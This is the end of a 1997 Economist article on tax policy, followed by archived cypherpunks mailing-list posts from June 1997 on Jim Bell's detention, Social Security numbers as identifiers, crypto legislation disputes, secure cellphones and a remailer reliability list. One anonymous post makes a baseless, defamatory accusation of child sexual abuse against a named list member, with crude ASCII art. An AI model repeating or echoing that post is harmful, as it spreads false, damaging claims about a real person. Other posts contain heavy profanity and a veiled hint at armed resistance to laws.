unskilled workers will have to rise. Over the past decade or so taxes on
capital have already fallen sharply while those on labour have risen. In
future it will be harder to tax firms or high-earners at high rates because
they are the most mobile. The implication is that unskilled labour will
have to bear a greater burden.

     If they are to mitigate this change while maintaining their tax
revenues, governments need to speed up tax reforms that are needed anyway
to improve economic efficiency. In most countries at present, exemptions
and loopholes distort the allocation of resources. Broadening the tax base
by scrapping exemptions such as mortgage interest relief and zero rates of
VAT on certain goods and services would allow a much lower rate of tax and
therefore reduce the incentive for both tax evasion and migration. Less
complex reporting requirements would reduce another incentive to hide from
the taxman.

     A second needed change is to shift the tax base from income towards
consumption and property, which is both immobile and hard to hide. Even
consumption is becoming more mobile. But a consumption tax would both
remove the present disincentive to save and help to collect taxes from tax
dodgers (even those whose income comes from invisible Internet sales have
to spend it). Having changed so much else in the world economy,
globalisation and information technology will inevitably undermine the way
governments raise taxes. Reforming the tax system to plug the hole is going
to be hard. Not reforming it would be even worse.

  The Economist Home Page   -   Search   -   Contents   -   Next article

   (c) Copyright 1997 The Economist Newspaper Limited. All Rights Reserved





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Mon, 2 Jun 1997 09:58:25 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Bell in Stir
In-Reply-To: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970601213439.0069a98c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:20 AM 6/1/97 -0400, Declan McCullagh wrote:
>The government is trying to persuade the judge that Bell is about to blow
>up a Federal building, or poison water supplies, or something. So far the
>judge has agreed and refused to consent to even bail conditions like house
>arrest and radio bracelet. Bell could very well stay in jail for the
>entirety of his trial.
>

But since the Feds won't be able to move to trial on those charges, they'll 
have to let him out on bail eventually.  "General dangerousness" bullshit only 
works during the preliminary proceedings.  Remember the Jake Baker case.  
Thirty days in stir and then dismissal.  Probably no dismissal for Bell but no 
major charges either.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 2 Jun 1997 10:01:57 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Jim Bell Defense fund
In-Reply-To: <199706011641.LAA08290@manifold.algebra.com>
Message-ID: <3.0.2.32.19970601214957.007f3330@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:41 AM 6/1/97 -0500, Igor Chudov @ home wrote:
|I guess everyone has forgotten about Jim Bell, but he is in no less
|need of help than he used to be.
|
|I would like to know how to help him, and suggest to organize his
|legal defense fund.
|
|igor

I suggest this would be an appropriate use for the monies collected last year (?) to fly Dr. Vulvis to address a cypherpunks gathering.

(As I recall, Dr. V. had some doubts about the airworthyness of the airline and so declined.)

Alec





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 10:54:44 +0800
To: cypherpunks@toad.com
Subject: Re: e$: Beltway piglets and other barnyard animals
In-Reply-To: <v03020922afb728ab90f3@[139.167.130.247]>
Message-ID: <v0302092eafb7de64f545@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:05 pm -0400 on 6/1/97, Tim May wrote:


> If you want Marc R. to read your message, you really should cc: him on it.

Actually, I don't give a squalling fuck whether he reads it or not. :-).

Anything said to Piglet won't matter much. That which is said to
cypherpunks, on the other hand, is a different matter entirely.

Cheers,
Bob


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 2 Jun 1997 11:35:00 +0800
To: camcc@abraxis.com (Alec)
Subject: Re: Jim Bell Defense fund
In-Reply-To: <3.0.2.32.19970601214957.007f3330@smtp1.abraxis.com>
Message-ID: <199706020328.WAA02206@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i am sure that no money was collected, and even more certainly none 
is left.

igor

Alec wrote:
> 
> At 11:41 AM 6/1/97 -0500, Igor Chudov @ home wrote:
> |I guess everyone has forgotten about Jim Bell, but he is in no less
> |need of help than he used to be.
> |
> |I would like to know how to help him, and suggest to organize his
> |legal defense fund.
> |
> |igor
> 
> I suggest this would be an appropriate use for the monies collected last year (?) to fly Dr. Vulvis to address a cypherpunks gathering.
> 
> (As I recall, Dr. V. had some doubts about the airworthyness of the airline and so declined.)
> 
> Alec
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 2 Jun 1997 12:55:52 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: CyberTects/SSZ status (fwd)
Message-ID: <199706020335.WAA10340@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From ravage@ssz.com Sun Jun  1 22:33:10 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199706020333.WAA10315@einstein.ssz.com>
Subject: CyberTects/SSZ status
To: users@einstein.ssz.com
Date: Sun, 1 Jun 1997 22:33:08 -0500 (CDT)
Cc: consulting@einstein.ssz.com, pwright@einstein.ssz.com, toddm@tivoli.com
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2928      


Hi,

We had our business planning meeting tonite and the following was
dediced:

 *    CyberTects will be no more by the end of the week. In its place
      is a new Commercial Web Service firm called (tadah)..

      The Armadillo Group

      There will be specific instructions in a day or so about where to
      send your payments for outstanding service bills.

 *    Update of service fee's:

      Monthly webpage                                 $25.00

      Customer Server Hosting, monthly               $100.00

      SLIP/PPP, dial-in, monthly                      $20.00

      SLIP/PPP, dedicated, monthly, 1 IP             $100.00

      IP Sets, 10 IP's (initial 1 & 9 more), annual  $100.00
 
      Shell access, w/ other account only             $10.00

      Labor charges, hourly, rounded up               $80.00

      Sales Tax NOT included, 8.25% in Texas

 *    We will be focusing on a limited set of services:

      -  expansion of services provided outside the SOHO sector into
         the general business community.

      -  various flavors of dial-in and dedicated connectivity options
         including a move to ISDN availablity with the increase in our
         primary feed to the Internet.

      -  webpage hosting w/ in-house development as required by the
         customer.

      -  hosting of customers servers in-house providing a level of
         technical support previously available only to large
         firms.

 *    The current Real/Time ISDN contract expires at the end of September.
      At this point we plan to have either a T1 or ADSL in place with
      additional servers.

 *    It looks like the current plan is to NOT have onsite service,
      training, and other services available through CyberTects in the
      past propogate through this change over. There will be a clearer
      mailing later in the week better detailing exactly what will be
      available and what we will be dropping.

      Note: Even if the firm as a whole ceases to host mailing lists
            I will continue to host them using my own resources.

            I will continue to do some onsite service and such on my
            own.

 *    The future of the Elgin site expansion to fully mirror SSZ and
      provide 100% backup may not be implimented because of the drop
      of other services. I have not decided if this will be something
      that I take on personaly if it is dropped.


If you have any further questions or would like to express your views on
these changes, please don't send email to me. Instead send it to
'consulting@ssz.com' so that the whole group may discuss the issues.

Our goal as always is to provide you with professional service & support.


                                                  Jim Choate
                                                  The Armadillo Group
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 2 Jun 1997 12:12:27 +0800
To: jonathon <grafolog@netcom.com>
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <Pine.SUN.3.95.970602014607.25651C-100000@netcom2>
Message-ID: <199706020349.WAA09406@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.95.970602014607.25651C-100000@netcom2>, on 06/02/97 
   at 02:24 AM, jonathon <grafolog@netcom.com> said:

>On Sun, 1 Jun 1997, Tim May wrote:

>> At 5:25 PM -0700 6/1/97, William H. Geiger III wrote:

>> >stored on individules a SS number is quite convienat as everyone has a
>> >unique one. Most employee, payroll, medical, insurance, credit, databases

>	Somebody here is forgetting that the Social Security
>	Adminstration, back in the mid-eighties claimed that at least
>	10 percent of the numbers in use, were improperly issued.

<sigh> This is really no suprise considering who is issueing the numbers.
:=/

>	The same number was issued to _two or *more*_ people.  The worst
>	case was a number that several thousand people used, thinking it 
>	was issued to them, exclusively, when it was in fact never issued.

This is rarely a problem from a data managemant posistion as SS # are key
fields. Any attempts at adding duplicates produces errors which then have
to be resolved usally manually by human intervention. Rarely are SS #'s
used exclusivly but in combination with other data (name & DOB is usaully
suffecient).

>	A further complication is that the same individual could have been
>	issued two or _more_ different numbers, either by design, or
>	accident.

I doubt that 2 or more SS# would be issued delibratly. The only reason for
multiple SS#'s would either be screw-ups by SSA or by design of the person
applying for the SS#. I imagine that new SS# may be issued in some special
cases such as witeness relocation, perhaps after adoption, but then the
old SS# is not being used so it is not really an issue.

>> >unique qualities that make it perfect for this use: 1 every person has a
>> >unique #, and 2 it never changes. This can not be said for any other
>	
>	Both premises are false, and the SSA has said so on several
>	different occasions.

For all practical purposes it is. with the exception of screw-ups by SSA
ones SS # is unique and with the exception of a few rare cases mentioned
above it never changes. compare this to other identifiers and it is
obviously the most convienient id # available. Atleast 50% of the
population has 1 name change durring the cource of their lifes, Addresses
change numerious times during an average americans lifetime, and DOB's are
not unique enough to be used.

While problems do exsist with using SS#'s as id they are quite small when
compaired to using other less stable data to generate id #'s.

>> without entry of any allegedly random numbers, and without any hashing
>> of personal data. It's not necessarily a real short number, certainly
>> not as short as an SS number. 
>	
>	One proposal I'm familiar with was:
>	date of birth << year month day >>
>	time of birth << hours, minutes, seconds >>
>	longitude of birth  << degrees, minutes, seconds >> 
>	lattitude of birth  << degrees, minutes, seconds >>
>	sex		     << one letter >>
>	mother's initials    << first, middle, last >>
>	father's initials   <<  first, middle, last >>

>	so you'd end up with something like

>	19970601185500-0300000.00-300000.00mxyzwvz

>	<< A number which would be issued to a male born today 
>	somewhere slightly north of Port Shepstone, and slightly west
>	of Pietermaritzburg, RSA. >> 

>	However, there are several problems with it, the two most notable
>	being the lack of accurate birth times, and that most people have
>	a very hard time remembering 42 digit numbers.

>	I don't know how solvable those, and other not so apparant
>	problems are, but I suspect that it has been intensively
>	studied by more than a few governments and organizations, since
>	it was first proposed, fifty something years ago. 

Really much to complex to be of use not to mention the lack of reliable
data to form the id #.

The use of DOB + Geographic Identifier + Unique Code would work quite
well.

19970601 - DOB.
0123     - Sample Geographic Identifier (say NY City).
0142     - Unique Code added to handle collisions of the above two.

I beleive that this is very simmilar to what the SSA uses though I beleive
that they only encode the year of birth when calculating SS #'s. Using Hex
rather than decimal for encoding would help greatly in redicing the number
of digits required. I would imagine that the SSA will have to go to a Hex
or complete Alphanumeric codings system as the population increases.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Mon, 2 Jun 1997 23:09:27 +0800
To: Robert Hettinga <cypherpunks@algebra.com
Subject: Rotenberg or Berman?  (was  Re: e$: Beltway piglets and otherbarnyard animals)
In-Reply-To: <v03007800afb6766f6f7f@[204.179.142.132]>
Message-ID: <v03007805afb8066bc310@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 5:01 PM -0700 6/1/97, Robert Hettinga wrote:
[snip]
>First, he led EFF to ignominious defeat with the digital telephony bill,
>and now, like some kind of political gremlin, emerging unscathed after
>engineering *that* jumbo-jet plane crash, he starts up EPIC, where he
>slipstreams no-brainer ACLU court cases like CDA to stay in the beltway
>pelleton.

Marc Rotenberg never led EFF; he led CPSR-Washington which became EPIC.

Bob may be thinking of Jerry Berman, who ran EFF for a few years, was
involved in its actions re Digital Telephony, and then left to start up
CDT.

Lee


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 11:38:08 +0800
To: cypherpunks@toad.com
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <v03102801afb7cce12642@[207.167.93.63]>
Message-ID: <v0302094bafb7ebe521b4@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


Okay.

I'll bite.

1. Take a dollar.

2. Write down the serial number.

3. Burn the dollar.

Can you say "seignorage"?

I knew you could...

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Mon, 2 Jun 1997 13:01:41 +0800
To: ppomes@Qualcomm.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <2372.865205390@zelkova.qualcomm.com>
Message-ID: <199706020425.AAA10749@pig.die.com>
MIME-Version: 1.0
Content-Type: text


Paul Pomes wrote :

> "William H. Geiger III" <whgiii@amaranth.com> writes:
> 
> |It's an intresting side note that the reason why the Cell Phones in this
> |country do not use strong crypto is because of the intervention of the FCC
> |and associated Federal LEA's.
> 
> Not that it would have mattered except to scanner owners with too much time
> on their hands.  The LEAs can intercept at the cellular base station where
> the air segment traffic is decrypted.

	While your point about link versus end to end security is
certainly most important,  LEAs have a long track record of illegal, or
at least unofficial, warrentless interceptions.  And they have bought
lots of high end scanners (ask any ICOM dealer).  Interception via the
Digital Telephony mandated interfaces is supposed to handled by a telco
employee  under the Digital Telephony act provisions and as such is
logged and on record, whilst nobody is the wiser about radio link
interceptions.   And it is a lot easier to get a wiretap warrent when
you've already got some evidence from a "very reliable confidential
informant". I don't doubt that the NSA and CIA and other related
agencies have  methods of using backdoors in switch and cross connect
software to bypass the Telco people who are supposed to be logging the
wiretap, but law enforcement in general is much less apt to have access
to these highly sensitive and classified entry points which necessarily
are closely guarded.  

	And of course nothing in US law does any good for TLAs operating
elsewhere, even though the hardware is the same or similar.

> For mobile-to-landline, the landline options are decidely minimal.  If you
> go with STU-III you have the problem of a fixed-rate 4800 baud modulation
> sucking up bandwidth.  That could be put in the base station but then the
> path is no longer end-to-end.
> 
	Unfortunately nobody has addressed this little issue.   Cellular
IP connectivity in its various flavors may help, but then you get into
the worst case latency and related queueing issues that makes data type
connections unpleasant for high quality voice.  And the person using the
cellphone has to have an external encryption and vocoding box even
though the phone has all this built in.   Of course it would have been
possible to  accomadate this if there had been a market.... 

	In fact it would be technically possible to offer a secure end
to end service connecting to existing encrypting digital cellphones
based on letting the party at the POTS end, armed with suitable software
on a PC, decrypt and demodulate the voice. The carrier would merely pass
standard encrypted voice packets back and forth between the cellphone
and the PC, persumably over a standard wireline modem to the PC. Might
be rather strange, but modern PC hardware should be able to handle this
kind of compute load easily.  I don't know if there is any provision in
current cellphone firmware for negotiating a voice privacy key in such a
way that the carrier would not know it, but I suppose that something
could be developed.

	Or alternatively special cellphone firmware could be developed
that would complete a special class of data connection to the POTS end
and shovel the existing vocoded voice packets back and forth under a DH
negotioted key.  For the cell carrier this would be a special (low
latency, fixed bandwidth, in order delivery) grade of data connection
which could be used for all kinds of things, but for the cellphone user
it would obviate the need for an external secure telephone and would
allow even small hand held digital cellphones to communicate securely
end to end. And the POTS end could be either a PC or a secure handset
based on cellphone technology that would be also useful for secure
calls on wireline connections.

	But I guess I dream, as there are those who would not appreciate
this...
							


> /pbp
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 2 Jun 1997 13:03:13 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102800afb7ba21be7b@[207.167.93.63]>
Message-ID: <3.0.2.32.19970602002628.0070932c@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:47 PM 6/1/97 -0700, Declan McCullagh wrote:
>On Sun, 1 Jun 1997, Tim May wrote in response to Robert:
>> 
>> >Yes, I would support a law that forbids private companies to ask for 
social
>> >security numbers except for tax purposes.
>> 
>> No wonder the EFF is so fucked up.
>
>To the best of my knowledge, EF-Georgia does not speak for the EFF. I
>don't know if the EFF would support such a law as Robert describes.
>Perhaps Stanton can help out here.

Yes.  Declan is correct.

For anyone else who is confused, I'm not a beltway person, and I have no 
association with EFF.  I'm not a policy analyst.  I'm a software developer.  I 
work for a living and pay my own way.  

I do have opinions.  Beliefs in privacy, free speech, and core belief that 
technology and the internet is good.  I pursue this as a hobby to the best of 
my ability.  I take advice from others, and try to get them to help educate me 
in matters I do not understand.  Once I act on my opinions and beliefs, I tend 
to win.


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5JLcEGpGhRXg5NZAQFvuAH9FxwHRAUukQ0+3iyDX1cOgFmTxRT+0Q8q
yTLiHhVI7BJ2Uco/YUmnlwoqsGngkzd2joVTUVAA/wJvztvvgBq3BA==
=D8D4
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 2 Jun 1997 13:09:24 +0800
To: cypherpunks@toad.com
Subject: New SSN Law
Message-ID: <199706020427.AAA18231@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert A. Costner wrote:

> Why does the store need my social security number for me to purchase soft
> drinks and eggs?  (40 cents off on eggs this week)  I see no reason for it.
> If I provide a false number, I have probably committed some crime.
> 
> Yes, I would support a law that forbids private companies to ask for social
> security numbers except for tax purposes.

  Am I missing something? Didn't we used to have one of those?
Wasn't that changed so that government and corporate interests
could put us all in more efficient boxes to control us and make
money off of us?
  Some states already use the SSN on the driver's licenses. More
will follow. The SSN is our National Identity Card and there is
no going back. The tattoo is history and the Identity Chip is the
future.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Mon, 2 Jun 1997 13:34:49 +0800
To: Tim May <tcmay@got.net>
Subject: Re: May's Banal Rant
In-Reply-To: <v03020922afb728ab90f3@[139.167.130.247]>
Message-ID: <v03007800afb7f6a1b377@[207.172.46.254]>
MIME-Version: 1.0
Content-Type: text/plain


>
>Likewise, EPIC can and should announce that it will not support SAFE if any
>form of criminalization language remains.
>
>We would not find it acceptable to have a law which encouraged the
>placement of microphones and cameras in private homes, "voluntarily," but
>which then said "Anyone who does not participate in the Voluntary Safe
>Surveillance Program and who is found to have committed a crime furthered
>by the failure to volunteer shall be subjected to additional imprisonment
>of at least 5 years."
>
>This is what the criminalization of crypto is all about. It is not, as is
>so often suggested, analogous to "use of a gun" in a crime, nor to "use of
>the public mails." It is much closer to the examples I cite, language and
>religion, than to use of a publicly-regulated monopoly like the telephones
>or the mail. The gun situation is presumably related to the threat of
>bodily harm...I'm not saying I agree with "use a gun, go to prison"
>sentencing enhancements, but a stronger case can be made than for "use a
>cipher, go to prison.

I don't need the lecture. I've made the argument better than
you have and I've made it longer than you have. I don't recall
you protesting the Computer Fraud and Abuse Act (1984),
working on the RTM case (a CFAA prosecution in 1988). You
weren't involved in the FOIA case for 2600.


>
>So, Marc can immediately prove the honesty of his point by:
>
>a. denouncing any "return address" requirements and refusing to cooperate
>with any Congressthing who espouses such wrong-headed ideas

Great plan. I'll watch TV and let Congress pass a bill
requiring mandatory identification for Internet users.
Really clever.

>
>b. denounce SAFE if it has any hint whatsoever of criminalization of crypto
>
>(Or of any of the (apparent) language about technical review panels
>deciding on exports...this is, to many of us, a code phrase indicating that
>SAFE will by no means make export of arbitrarily unbreakable ciphers an
>automatic process.)

This is getting tiring. Who do you think first opposed the proposed
amendment to Pro-CODE creating the review board?  You are behind
the curve, but you act like you're way out in front.

I'm probably in a much better position to criticize the failure
of Tim May et al to stand up for crypto freedom than the other
way around.

>Being a rejectionist, I don't see the point of dealing with Congress. The
>usual view is that "If you don't get involved, things will be even worse."
>I'm not convinced of this. It's often better to not lend them any support,
>not lend them any technical expertise, and devote all energies to
>undermining and challenging their actions later.

And the existence proof of this proposition is . . .

>
>And helping them draft legislation only feeds the process.
>
>I think it was George Carlin who said, "If you think you're part of the
>solution, you're part of the problem."

Good high school humor for a good high school philosophy.

I am underwhelmed.

Marc.



Marc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 2 Jun 1997 16:04:49 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: May's Banal Rant
In-Reply-To: <v03102802afb7ceba955c@[207.167.93.63]>
Message-ID: <3.0.2.32.19970602005500.006de554@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:31 AM 6/2/97 -0400, Marc Rotenberg wrote:
>Great plan. I'll watch TV and let Congress pass a bill
>requiring mandatory identification for Internet users.
>Really clever.

First of all, such a bill will be passed regardless of what you or anyone
else does. The only question is when. You may be able to delay passing of
this bill for a few years, perhaps even a few decades, but pass it will.

So let us turn to the more relevant question: is it better for such bill to
pass now or ten years from now? It may seem obvious that the answer is "ten
years from now", but I feel that it not nearly as obvious as it seems and
in fact may even not be correct.

Ten years and a few Sarin attacks on American subways and other Reichstag
Fires later, such a bill will pass with the full backing of Joe Sixpack and
Jill Soccer Mom. The passing will be a formality.

If, however, Congress was to pass such a bill now or in the very near
future, the population would recognize the law for what it is: yet another
fascist powergrab. Which in turn might trigger the exercise of certain
recall provisions available to the citizens of the US thanks to the Bill of
Right.

It is up to each of us to decide which of these two possible futures is
"better".


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 2 Jun 1997 14:29:46 +0800
To: cypherpunks@toad.com
Subject: Firewalls
Message-ID: <199706020614.CAA28437@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[retin] May prefers to have sex with little kids because his own 
penis is like that of a three-year-old.

              ____
            _(____)_
       _ooO_(_o__o_)_Ooo_ Timmy C[retin] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jonathon <grafolog@netcom.com>
Date: Mon, 2 Jun 1997 10:42:00 +0800
To: cypherpunks@algebra.com
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <v03102801afb7cce12642@[207.167.93.63]>
Message-ID: <Pine.SUN.3.95.970602014607.25651C-100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 1 Jun 1997, Tim May wrote:

> At 5:25 PM -0700 6/1/97, William H. Geiger III wrote:

> >stored on individules a SS number is quite convienat as everyone has a
> >unique one. Most employee, payroll, medical, insurance, credit, databases

	Somebody here is forgetting that the Social Security
	Adminstration, back in the mid-eighties claimed that at least
	10 percent of the numbers in use, were improperly issued.

	The same number was issued to _two or *more*_ people.  The worst
	case was a number that several thousand people used, thinking it 
	was issued to them, exclusively, when it was in fact never issued.

	A further complication is that the same individual could have been
	issued two or _more_ different numbers, either by design, or
	accident.

> >unique qualities that make it perfect for this use: 1 every person has a
> >unique #, and 2 it never changes. This can not be said for any other
	
	Both premises are false, and the SSA has said so on several
	different occasions.

> without entry of any allegedly random numbers, and without any hashing
> of personal data. It's not necessarily a real short number, certainly
> not as short as an SS number. 
	
	One proposal I'm familiar with was:
	date of birth << year month day >>
	time of birth << hours, minutes, seconds >>
	longitude of birth  << degrees, minutes, seconds >> 
	lattitude of birth  << degrees, minutes, seconds >>
	sex		     << one letter >>
	mother's initials    << first, middle, last >>
	father's initials   <<  first, middle, last >>

	so you'd end up with something like

	19970601185500-0300000.00-300000.00mxyzwvz

	<< A number which would be issued to a male born today 
	somewhere slightly north of Port Shepstone, and slightly west
	of Pietermaritzburg, RSA. >> 

	However, there are several problems with it, the two most notable
	being the lack of accurate birth times, and that most people have
	a very hard time remembering 42 digit numbers.

	I don't know how solvable those, and other not so apparant
	problems are, but I suspect that it has been intensively
	studied by more than a few governments and organizations, since
	it was first proposed, fifty something years ago. 

          xan

          jonathon
          grafolog@netcom.com

	

	Monolingualism is a curable disease

	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jonathon <grafolog@netcom.com>
Date: Mon, 2 Jun 1997 13:25:49 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <199706020349.WAA09406@mailhub.amaranth.com>
Message-ID: <Pine.SUN.3.95.970602045043.25651I-100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 1 Jun 1997, William H. Geiger III wrote:
> In <Pine.SUN.3.95.970602014607.25651C-100000@netcom2>, on 06/02/97 
>    at 02:24 AM, jonathon <grafolog@netcom.com> said:

> Really much to complex to be of use not to mention the lack of reliable
> data to form the id #.

	For person's currently living, maybe the data is lacking.
	However, tagging an ID at birth, for future citizen units,
	is perfectly feasable.  <<  And do note in passing that hospitals
	do have SSNs issued to new-borns, regardless of the 
	wishes/request/knowledge/authorization/permission of parent(s). >>

> The use of DOB + Geographic Identifier + Unique Code would work quite

	Err, the code I listed was of that format --- just a lot more
	more specific than the following.

> 19970601 - DOB.
> 0123     - Sample Geographic Identifier (say NY City).
> 0142     - Unique Code added to handle collisions of the above two.
> 
> I believe that this is very simmilar to what the SSA uses though I believe
> that they only encode the year of birth when calculating SS #'s. 

	SSN consists of xxx-yy-zzzz
	xxx is state of issue.
	yy _can_ correspond to year(s) of issue, and locale with the
		state.  << Usually just a range of years that it
		was issued in.  >>
	zzzz is the sequence number.  Each issued number just goes up
		one more.  Though certain numbers are deliberatly
		skipped.  
	
	There are certain checks that can be done, to figure out if
	a number _could_ have been issued to an individual.

> of digits required. I would imagine that the SSA will have to go to
> a Hex or complete Alphanumeric codings system as the population increases.

	They currently recycle old numbers, though there are still a 
	number of unused sequences that are available.  <<  Roughly 
	the current population of the usa. >>

          xan

          jonathon
          grafolog@netcom.com


	Monolingualism is a curable disease

	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 2 Jun 1997 22:19:59 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199706021350.GAA12974@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
